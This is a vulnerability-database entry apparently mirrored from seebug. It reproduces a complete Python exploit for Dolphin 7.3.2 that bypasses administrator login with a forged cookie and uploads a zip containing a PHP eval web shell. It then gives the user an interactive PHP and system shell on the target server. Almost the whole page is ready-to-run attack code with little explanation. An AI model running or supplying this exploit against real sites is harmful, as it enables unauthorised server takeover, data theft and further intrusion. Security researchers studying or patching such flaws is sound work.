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Dolphin 7.3.2 authentication bypass and command execution vulnerabilities

🗓️ 22 Nov 2016 00:00:00Reported by RootType 
seebug
 seebug
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Dolphin 7.3.2 authentication bypass and command execution vulnerabilitie

Code

                                                #!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Software : Dolphin <= 7.3.2 Auth bypass / RCE exploit
Vendor : www.boonex.com
Author : Ahmed sultan (0x4148)
Home : 0x4148.com | https://www.linkedin.com/in/0x4148
Email : [email protected]
Auth bypass trick credit go to Saadat Ullah
'''
import os
import sys
import urllib
import urllib2
import ssl
import base64
print "[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit"
print "[+] Author : Ahmed sultan (0x4148)"
print "[+] Home : 0x4148.com\n"
if len(sys.argv)<2:
  print "\nUsage : python "+sys.argv[0]+" http://HOST/path/\n"
  sys.exit();
hosturl=sys.argv[1]
fields = {'csrf_token': 'Aint give a shit about csrf stuff ;)', 'submit_upload': '0x4148'}
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
def generate_http_request(fields):
  lmt = '---------------------------'
  crlf = '\r\n'
  x4148mltprt = []
  x4148mltprt.append('--' + lmt)
  if fields:
    for (key, value) in fields.items():
      x4148mltprt.append('Content-Disposition: form-data; name="%s"' % key)
      x4148mltprt.append('')
      x4148mltprt.append(value)
      x4148mltprt.append('--' + lmt)
  x4148mltprt.append('Content-Disposition: form-data; name="module"; filename="0x4148.zip"')
  x4148mltprt.append('Content-Type: application/zip')
  x4148mltprt.append('')
  x4148mltprt.append("PK\x03\x04\x0a\x00\x00\x00\x00\x00RanIj\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x000x4148fo.php"
  "<?php\x0d\x0aeval(base64_decode($_POST[\'0x4148\']));\x0d\x0a?>PK\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00RanIj"
  "\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x000x4148fo.php"
  "PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00:\x00\x00\x00[\x00\x00\x00\x00\x00")
  x4148mltprt.append('--' + lmt + '--')
  x4148mltprt.append('')
  body = crlf.join(x4148mltprt)
  content_type = 'multipart/form-data; boundary=%s' % (lmt)
  return content_type, body
content_type, body = generate_http_request(fields)
print " + Sending payload to "+hosturl.split("//")[1].split("/")[0]
req = urllib2.Request(hosturl+"/administration/modules.php",body)
req.add_header('User-agent', 'Mozilla 15')

req.add_header("Cookie", "memberID=1; memberPassword[]=0x4148;")
req.add_header('Referer', hosturl+"/administration/modules.php")
req.add_header('Content-Type', content_type)
req.add_header('Content-Length', str(len(body)))
req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
try:
  urllib2.urlopen(req,context=gcontext).read()
except urllib2.HTTPError, e:
  err=e.fp.read()
  print err
  sys.exit()
print " * Checking if payload was send"
data = urllib.urlencode({'0x4148':'echo "0x4148foooo";'.encode('base64')})
req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
if urllib2.urlopen(req).read().find("0x4148foooo")==-1:
  print " - Exploitation failed"
  print req
  sys.exit()
print " + php prompt up and running\n + type 'shell' to get shell access"
while True:
  request=str(raw_input("\nphp>> "))
  if request=="exit":
    sys.exit()
  if request=="shell" or request=="cmd":
    print "\n + Switched to Shell mode\n + Type 'return' to return to php prompt mode"
    while True:
      cmd=str(raw_input("\n0x4148@"+hosturl.split("//")[1].split("/")[0]+"# "))
      if cmd=="return":
        break
      if cmd=="exit":
        sys.exit()
      kkk="passthru('"+cmd+"');"
      data = urllib.urlencode({'0x4148':kkk.encode('base64')})
      req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
      print urllib2.urlopen(req).read()
  data = urllib.urlencode({'0x4148':request.encode('base64')})
  req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
  print urllib2.urlopen(req).read()
                              

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